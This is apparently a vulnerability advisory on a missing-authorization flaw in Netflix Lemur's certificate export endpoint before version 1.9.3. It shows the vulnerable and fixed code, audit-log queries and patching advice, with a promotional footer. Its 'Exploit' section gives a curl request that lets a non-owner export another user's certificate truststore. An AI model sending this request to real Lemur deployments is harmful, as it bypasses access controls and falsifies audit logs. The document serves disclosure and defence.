Listen to this Post
How CVE-2026-71322 Works
Netflix Lemur is a TLS certificate management framework that provides API endpoints for certificate operations, including export functionality. Prior to version 1.9.3, the `CertificateExport` handler in `lemur/certificates/views.py` contained a structural authorization flaw.
The vulnerability stems from the placement of the ownership and `CertificatePermission` check inside an `if plugin.requires_key:` conditional block. When an export plugin advertises requires_key = False, the entire authorization gate is skipped. Control flows directly to `plugin.export(cert.body, cert.chain, cert.private_key, options)` with no ownership verification. Critically, `cert.private_key` is passed to the plugin regardless of the flag’s value—the flag only describes what the plugin advertises it needs, not what it actually receives.
The only bundled plugin with `requires_key = False` is `JavaTruststoreExportPlugin` (lemur/plugins/lemur_jks/plugin.py), whose `export()` ignores the key argument and emits a public-only Java truststore. The immediate exposure is therefore limited to public certificate material and misleading audit entries.
However, the bug is a genuine authorization gap because: (1) any future `ExportPlugin` author who sets `requires_key = False` but still uses the key when provided will inherit the bypass silently; and (2) the unconditional `log_service.create(…, “key_view”, …)` call falsely records key-view events for callers who never accessed a key, polluting the audit trail with false positives.
The fix, implemented in version 1.9.3, moves the authorization check outside the `requires_key` branch, passes no private key to plugins that do not require one, and confines `key_view` logging to actual private-key exports.
DailyCVE Form:
Platform: Netflix Lemur
Version: < 1.9.3
Vulnerability: Missing Authorization (CWE-862)
Severity: Medium (CVSS 4.3)
Date: 2026-08-18
Prediction: Patch already available in v1.9.3
What Undercode Say:
Analytics of the vulnerability reveals a structural code-nesting error rather than a simple logic bug. The authorization invariant is held by a structurally distant if-branch in the view, not by the plugin itself. Code review approval for a new plugin would not flag this—the authorization defect is invisible from the plugin’s perspective.
Check Lemur version lemur --version Query audit logs for key_view events (potential false positives) psql lemur -c "SELECT user_id, log_type, certificate_id, logged_at FROM logs WHERE log_type = 'key_view' ORDER BY logged_at DESC LIMIT 20;" Identify certificates with export attempts by non-owners psql lemur -c "SELECT l.user_id, l.certificate_id, c.name, c.user_id as owner FROM logs l JOIN certificates c ON l.certificate_id = c.id WHERE l.log_type = 'key_view' AND l.user_id != c.user_id;"
Vulnerable code pattern (lemur/certificates/views.py:~1573) if plugin.requires_key: if not cert.private_key: return (..., 400) else: if g.current_user != cert.user: owner_role = role_service.get_by_name(cert.owner) permission = CertificatePermission(owner_role, [x.name for x in cert.roles]) if not permission.can(): return (..., 403) log_service.create(g.current_user, "key_view", certificate=cert) always logged extension, passphrase, data = plugin.export( cert.body, cert.chain, cert.private_key, options )
Fixed code pattern (Lemur v1.9.3) private_key = None if g.current_user != cert.user: owner_role = role_service.get_by_name(cert.owner) permission = CertificatePermission(owner_role, [x.name for x in cert.roles]) if not permission.can(): return (dict(message="You are not authorized to export this certificate."), 403) if plugin.requires_key: if not cert.private_key: return (dict(message="Plugin requires a key but none is present."), 400) log_service.create(g.current_user, "key_view", certificate=cert) private_key = cert.private_key extension, passphrase, data = plugin.export( cert.body, cert.chain, private_key, options )
Exploit: (Educational Purposes!)
Prerequisites: Authenticated Lemur user with any role (including read-only), a certificate they do not own, and the `java-truststore-jks` plugin available.
Step 1: As an admin, issue a certificate and note its id.
Step 2: As a non-privileged user (e.g., eve), invoke the export endpoint with the `java-truststore-jks` plugin:
curl -X POST https://lemur.local/api/1/certificates/<cert_id>/export \
-H "Authorization: Bearer <eve_jwt>" \
-H "Content-Type: application/json" \
-d '{
"plugin": {
"slug": "java-truststore-jks",
"plugin_options": [
{"name": "passphrase", "value": "test"}
]
}
}'
Step 3: Observe HTTP 200 with a base64-encoded JKS truststore in the response. The user `eve` had no permission over the admin’s certificate yet successfully exported its public material.
Step 4: Verify the audit-log pollution:
psql lemur -c "SELECT user_id, log_type, certificate_id, logged_at FROM logs WHERE certificate_id = <cert_id> ORDER BY logged_at DESC LIMIT 1;"
The log shows `log_type = ‘key_view’` for `eve` against the admin’s certificate, despite no private key being accessed by the truststore plugin.
Protection:
- Upgrade Lemur to version 1.9.3 or newer—this is the only complete fix. The patch removes private key passing to plugins that do not require it and confines ownership checks and `key_view` logging to actual private-key exports.
- Audit custom or third-party plugins marked
requires_key = False. Verify they truly do not handle private keys. - Implement restrictive API access controls (e.g., WAF rules) to limit `/api/1/certificates//export` endpoints to authorized principals only.
- Continuously monitor `key_view` audit logs for unexpected entries, particularly from users without certificate ownership or relevant permissions.
Impact:
Current codebase impact:
- Any authenticated user can mint a Java truststore (via the `java-truststore-jks` plugin) containing any certificate’s public body and chain, without owning the certificate or holding a permission over it.
- The audit log records a `key_view` event for the calling user against that certificate, despite no private key being accessed. Defenders investigating apparent key-view events encounter false positives indistinguishable from genuine accesses.
Latent risk:
- A future `ExportPlugin` author who sets `requires_key = False` because their plugin can operate without a key (e.g., for a fallback code path) but still uses the key when one is provided will silently leak private keys to any authenticated user. The same code review that approves the plugin will not flag this—the authorization invariant is held by a structurally distant
if-branch in the view, not by the plugin itself.
CVSS Score: 4.3 (Medium) with vector `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N`.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

